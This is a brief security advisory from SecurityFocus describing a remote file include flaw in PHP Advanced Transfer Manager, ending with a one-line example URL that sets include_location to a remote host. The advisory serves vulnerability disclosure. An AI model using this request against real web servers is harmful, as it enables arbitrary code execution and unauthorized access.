source: https://www.securityfocus.com/bid/13691/info

PHP Advanced Transfer Manager is prone to an arbitrary file include vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/index.php?include_location=http://www.example.com/